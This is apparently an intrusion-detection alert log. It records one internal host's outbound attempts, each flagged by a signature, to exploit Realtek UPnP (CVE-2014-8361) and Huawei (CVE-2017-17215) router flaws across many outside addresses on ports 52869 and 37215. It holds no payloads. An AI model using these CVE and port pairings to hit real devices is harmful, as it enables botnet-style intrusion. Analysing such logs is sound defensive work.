07/20/24-23:01:33.182181	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49806	52869	192.168.2.14	174.193.181.196
07/20/24-23:01:34.910408	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39430	52869	192.168.2.14	13.17.82.210
07/20/24-23:01:29.170017	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34626	52869	192.168.2.14	39.30.35.11
07/20/24-23:01:33.640361	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33978	52869	192.168.2.14	70.231.21.112
07/20/24-23:01:13.332173	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47232	52869	192.168.2.14	62.62.247.176
07/20/24-23:01:34.899680	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59892	52869	192.168.2.14	125.9.219.100
07/20/24-23:01:02.411165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34462	37215	192.168.2.14	197.74.63.134
07/20/24-23:01:05.902118	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41162	37215	192.168.2.14	197.221.83.254
07/20/24-23:01:06.336576	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40486	52869	192.168.2.14	117.199.176.147
07/20/24-23:01:33.030189	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46408	37215	192.168.2.14	157.133.211.214
07/20/24-23:01:28.143529	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47362	37215	192.168.2.14	41.56.29.180
07/20/24-23:01:11.485692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55196	37215	192.168.2.14	213.51.43.95
07/20/24-23:01:11.448569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57992	37215	192.168.2.14	211.61.230.77
07/20/24-23:01:13.332449	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52752	52869	192.168.2.14	65.29.160.70
07/20/24-23:01:07.679354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59972	37215	192.168.2.14	197.136.193.143
07/20/24-23:01:02.441031	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41490	37215	192.168.2.14	197.249.254.134
07/20/24-23:01:19.233961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49154	37215	192.168.2.14	151.164.163.60
07/20/24-23:01:30.731210	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45820	52869	192.168.2.14	70.48.172.224
07/20/24-23:01:25.230393	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49454	37215	192.168.2.14	197.193.231.147
07/20/24-23:01:13.332051	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40934	52869	192.168.2.14	123.243.178.81
07/20/24-23:01:06.841661	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55720	52869	192.168.2.14	82.116.127.119
07/20/24-23:01:28.214699	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50600	37215	192.168.2.14	41.63.192.72
07/20/24-23:01:05.895754	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45276	37215	192.168.2.14	197.65.248.102
07/20/24-23:01:22.769326	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32932	37215	192.168.2.14	41.78.218.96
07/20/24-23:01:29.528550	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60468	52869	192.168.2.14	58.133.29.249
07/20/24-23:01:11.461509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45696	37215	192.168.2.14	157.3.184.17
07/20/24-23:01:07.668267	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49322	37215	192.168.2.14	97.234.89.166
07/20/24-23:01:06.122522	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51734	52869	192.168.2.14	154.234.222.130
07/20/24-23:01:23.157753	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43956	52869	192.168.2.14	42.203.55.38
07/20/24-23:01:34.958511	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48284	52869	192.168.2.14	142.216.142.217
07/20/24-23:01:05.893818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41780	37215	192.168.2.14	157.232.183.8
07/20/24-23:01:02.415803	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36306	37215	192.168.2.14	157.229.133.19
07/20/24-23:01:24.800803	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52652	52869	192.168.2.14	190.101.187.66
07/20/24-23:01:28.184352	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32884	37215	192.168.2.14	157.189.33.145
07/20/24-23:01:05.898280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46414	37215	192.168.2.14	187.169.124.166
07/20/24-23:01:02.414528	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48024	37215	192.168.2.14	197.62.166.112
07/20/24-23:01:11.460861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35378	37215	192.168.2.14	135.162.156.187
07/20/24-23:01:13.331209	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37618	52869	192.168.2.14	182.207.82.188
07/20/24-23:01:13.331310	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37720	52869	192.168.2.14	72.184.169.139
07/20/24-23:01:34.958933	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59908	52869	192.168.2.14	40.39.6.95
07/20/24-23:01:05.902118	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49318	37215	192.168.2.14	41.34.107.16
07/20/24-23:01:22.782671	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57826	37215	192.168.2.14	41.193.78.117
07/20/24-23:01:29.679335	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40740	52869	192.168.2.14	209.57.40.96
07/20/24-23:01:34.923386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44044	52869	192.168.2.14	51.61.18.6
07/20/24-23:01:02.412965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59068	37215	192.168.2.14	41.173.192.227
07/20/24-23:01:23.047135	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49012	52869	192.168.2.14	189.144.99.123
07/20/24-23:01:06.606086	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60124	52869	192.168.2.14	179.90.129.47
07/20/24-23:01:22.781976	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34278	37215	192.168.2.14	157.196.141.22
07/20/24-23:01:34.204689	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36290	52869	192.168.2.14	157.141.84.47
07/20/24-23:01:29.176022	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38314	52869	192.168.2.14	118.150.115.134
07/20/24-23:01:34.949877	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41996	52869	192.168.2.14	50.184.118.30
07/20/24-23:01:05.895754	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55814	37215	192.168.2.14	197.198.173.107
07/20/24-23:01:34.958932	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46122	52869	192.168.2.14	221.142.162.73
07/20/24-23:01:22.790734	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38814	37215	192.168.2.14	41.136.163.60
07/20/24-23:01:22.777004	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47124	37215	192.168.2.14	81.10.137.209
07/20/24-23:01:11.467355	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60952	37215	192.168.2.14	197.27.29.207
07/20/24-23:01:19.227177	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52086	37215	192.168.2.14	157.255.232.153
07/20/24-23:01:33.491218	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60034	52869	192.168.2.14	133.211.191.92
07/20/24-23:01:34.931386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56628	52869	192.168.2.14	175.184.156.103
07/20/24-23:01:05.937693	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54926	37215	192.168.2.14	157.253.2.101
07/20/24-23:01:33.068258	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44122	37215	192.168.2.14	41.180.192.98
07/20/24-23:01:30.719058	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46952	52869	192.168.2.14	47.7.230.238
07/20/24-23:01:34.945022	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58364	52869	192.168.2.14	35.151.246.95
07/20/24-23:01:33.049931	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49352	37215	192.168.2.14	41.101.223.29
07/20/24-23:01:02.417044	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59758	37215	192.168.2.14	157.59.236.255
07/20/24-23:01:29.186915	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44608	52869	192.168.2.14	84.193.36.239
07/20/24-23:01:33.598861	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38018	52869	192.168.2.14	138.145.119.211
07/20/24-23:01:34.923386	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38414	52869	192.168.2.14	76.153.92.60
07/20/24-23:01:13.333349	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47854	52869	192.168.2.14	72.222.174.251
07/20/24-23:01:24.438895	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53036	52869	192.168.2.14	155.24.113.226
07/20/24-23:01:07.658261	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41598	37215	192.168.2.14	157.234.118.231
07/20/24-23:01:28.175716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36864	37215	192.168.2.14	86.51.153.158
07/20/24-23:01:13.328744	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59564	52869	192.168.2.14	177.133.134.55
07/20/24-23:01:37.214680	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45988	37215	192.168.2.14	157.241.94.91
07/20/24-23:01:05.895754	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44408	37215	192.168.2.14	197.211.156.8
07/20/24-23:01:29.179619	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36626	52869	192.168.2.14	166.213.219.123
07/20/24-23:01:37.208725	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53182	37215	192.168.2.14	197.10.163.45
07/20/24-23:01:22.796666	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55228	37215	192.168.2.14	12.251.148.75
07/20/24-23:01:28.143794	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45436	37215	192.168.2.14	197.136.216.172
07/20/24-23:01:33.864769	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51250	52869	192.168.2.14	178.14.114.28
07/20/24-23:01:25.293652	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35560	37215	192.168.2.14	41.212.43.89
07/20/24-23:01:14.431063	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57606	37215	192.168.2.14	197.159.171.115
07/20/24-23:01:33.737025	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58002	52869	192.168.2.14	162.16.177.241
07/20/24-23:01:28.219332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43756	37215	192.168.2.14	197.226.170.80
07/20/24-23:01:29.169782	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35300	52869	192.168.2.14	93.150.15.52
07/20/24-23:01:25.283565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46468	37215	192.168.2.14	108.68.173.47
07/20/24-23:01:06.166101	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43302	52869	192.168.2.14	188.64.202.52
07/20/24-23:01:33.183640	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58592	52869	192.168.2.14	90.38.224.171
07/20/24-23:01:14.397897	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41518	37215	192.168.2.14	41.189.142.158
07/20/24-23:01:07.647712	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42796	37215	192.168.2.14	157.140.225.255
07/20/24-23:01:19.233507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48254	37215	192.168.2.14	213.95.127.113
07/20/24-23:01:24.075466	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42398	52869	192.168.2.14	178.190.243.0
07/20/24-23:01:11.485692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39920	37215	192.168.2.14	79.132.193.104
07/20/24-23:01:29.181762	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47540	52869	192.168.2.14	60.101.77.2
07/20/24-23:01:13.331144	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60488	52869	192.168.2.14	59.126.120.18
07/20/24-23:01:29.187581	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60964	52869	192.168.2.14	186.138.141.187
07/20/24-23:01:05.900314	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53284	37215	192.168.2.14	221.40.188.74
07/20/24-23:01:31.087349	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58512	52869	192.168.2.14	46.136.73.170
07/20/24-23:01:14.487012	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60582	37215	192.168.2.14	197.252.224.36
07/20/24-23:01:28.180178	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43986	37215	192.168.2.14	197.232.244.140
07/20/24-23:01:28.195717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53210	37215	192.168.2.14	157.187.212.131
07/20/24-23:01:34.907114	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42736	52869	192.168.2.14	31.171.131.217
07/20/24-23:01:05.453905	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50060	52869	192.168.2.14	82.86.85.182
07/20/24-23:01:37.227565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39776	37215	192.168.2.14	157.54.132.20
07/20/24-23:01:22.774812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37864	37215	192.168.2.14	41.153.238.151
07/20/24-23:01:25.301172	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40870	37215	192.168.2.14	197.180.182.216
07/20/24-23:01:29.204277	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54752	52869	192.168.2.14	72.66.251.190
07/20/24-23:01:37.199306	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49854	37215	192.168.2.14	197.254.233.192
07/20/24-23:01:02.414137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52980	37215	192.168.2.14	197.195.106.45
07/20/24-23:01:19.334468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44764	37215	192.168.2.14	197.221.1.52
07/20/24-23:01:25.117603	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33056	52869	192.168.2.14	222.154.38.130
07/20/24-23:01:02.410932	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36238	37215	192.168.2.14	76.199.109.54
07/20/24-23:01:25.287093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43656	37215	192.168.2.14	41.148.48.255
07/20/24-23:01:05.893818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38882	37215	192.168.2.14	197.41.90.82
07/20/24-23:01:13.333101	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49812	52869	192.168.2.14	209.87.192.88
07/20/24-23:01:07.680463	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43242	37215	192.168.2.14	87.194.130.244
07/20/24-23:01:05.997211	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49556	52869	192.168.2.14	209.88.50.174
07/20/24-23:01:05.819466	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52958	52869	192.168.2.14	181.146.224.142
07/20/24-23:01:07.674222	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43034	37215	192.168.2.14	157.29.81.159
07/20/24-23:01:34.090702	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48438	52869	192.168.2.14	44.203.11.143
07/20/24-23:01:25.291636	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44092	37215	192.168.2.14	25.104.214.117
07/20/24-23:01:05.468860	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43334	52869	192.168.2.14	200.181.183.183
07/20/24-23:01:25.231958	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48604	37215	192.168.2.14	197.222.89.42
07/20/24-23:01:05.898280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55460	37215	192.168.2.14	41.167.148.200
07/20/24-23:01:33.046879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58318	37215	192.168.2.14	73.33.53.195
07/20/24-23:01:33.043558	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40182	37215	192.168.2.14	157.85.32.235
07/20/24-23:01:23.061358	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56716	52869	192.168.2.14	144.251.49.213
07/20/24-23:01:19.235468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54416	37215	192.168.2.14	41.243.5.48
07/20/24-23:01:05.911930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55142	37215	192.168.2.14	119.104.173.17
07/20/24-23:01:25.293290	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36468	37215	192.168.2.14	77.111.0.243
07/20/24-23:01:29.186915	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34166	52869	192.168.2.14	174.173.238.249
07/20/24-23:01:37.121166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37200	37215	192.168.2.14	197.58.163.206
07/20/24-23:01:29.173099	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53560	52869	192.168.2.14	35.167.163.145
07/20/24-23:01:13.331147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45700	52869	192.168.2.14	40.180.122.90
07/20/24-23:01:19.224455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54120	37215	192.168.2.14	197.112.129.130
07/20/24-23:01:25.466735	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33592	52869	192.168.2.14	174.173.238.249
07/20/24-23:01:33.888160	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58592	52869	192.168.2.14	133.182.11.249
07/20/24-23:01:28.142774	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44806	37215	192.168.2.14	197.132.5.231
07/20/24-23:01:11.460861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45366	37215	192.168.2.14	81.216.188.40
07/20/24-23:01:33.605284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50700	52869	192.168.2.14	164.158.91.189
07/20/24-23:01:05.895934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36412	37215	192.168.2.14	157.156.72.128
07/20/24-23:01:29.170557	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55564	52869	192.168.2.14	89.243.23.143
07/20/24-23:01:13.333101	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52224	52869	192.168.2.14	108.207.129.253
07/20/24-23:01:14.398934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47220	37215	192.168.2.14	41.164.3.177
07/20/24-23:01:30.726948	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49798	52869	192.168.2.14	194.97.213.111
07/20/24-23:01:28.175716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51636	37215	192.168.2.14	41.13.37.76
07/20/24-23:01:37.224827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38944	37215	192.168.2.14	197.148.15.6
07/20/24-23:01:34.983816	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56052	52869	192.168.2.14	192.84.42.215
07/20/24-23:01:19.223034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52838	37215	192.168.2.14	197.139.121.233
07/20/24-23:01:14.454899	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49910	37215	192.168.2.14	41.120.0.113
07/20/24-23:01:28.195717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44260	37215	192.168.2.14	197.83.100.55
07/20/24-23:01:06.619651	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55584	52869	192.168.2.14	72.146.47.133
07/20/24-23:01:22.762116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47500	37215	192.168.2.14	41.206.47.196
07/20/24-23:01:37.166003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38404	37215	192.168.2.14	45.192.212.1
07/20/24-23:01:34.901553	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39736	52869	192.168.2.14	179.97.208.77
07/20/24-23:01:25.288605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42420	37215	192.168.2.14	41.221.41.23
07/20/24-23:01:02.410541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45018	37215	192.168.2.14	50.0.188.147
07/20/24-23:01:07.426607	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35034	52869	192.168.2.14	177.232.37.130
07/20/24-23:01:02.410932	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52068	37215	192.168.2.14	157.245.238.163
07/20/24-23:01:19.225050	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42398	37215	192.168.2.14	157.101.146.147
07/20/24-23:01:13.336216	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47404	52869	192.168.2.14	36.198.164.211
07/20/24-23:01:34.914910	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51444	52869	192.168.2.14	100.211.0.135
07/20/24-23:01:02.409019	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35070	37215	192.168.2.14	141.92.189.24
07/20/24-23:01:37.123057	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36600	37215	192.168.2.14	41.74.81.129
07/20/24-23:01:33.068258	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49572	37215	192.168.2.14	41.173.125.40
07/20/24-23:01:14.397565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47688	37215	192.168.2.14	41.154.151.252
07/20/24-23:01:28.211361	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40848	37215	192.168.2.14	157.128.111.10
07/20/24-23:01:19.335605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43430	37215	192.168.2.14	41.113.193.91
07/20/24-23:01:02.414850	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44708	37215	192.168.2.14	41.7.80.153
07/20/24-23:01:14.397897	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36034	37215	192.168.2.14	157.137.199.87
07/20/24-23:01:28.196416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34900	37215	192.168.2.14	197.201.60.217
07/20/24-23:01:14.472855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57834	37215	192.168.2.14	41.0.108.16
07/20/24-23:01:33.030189	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33230	37215	192.168.2.14	197.5.79.69
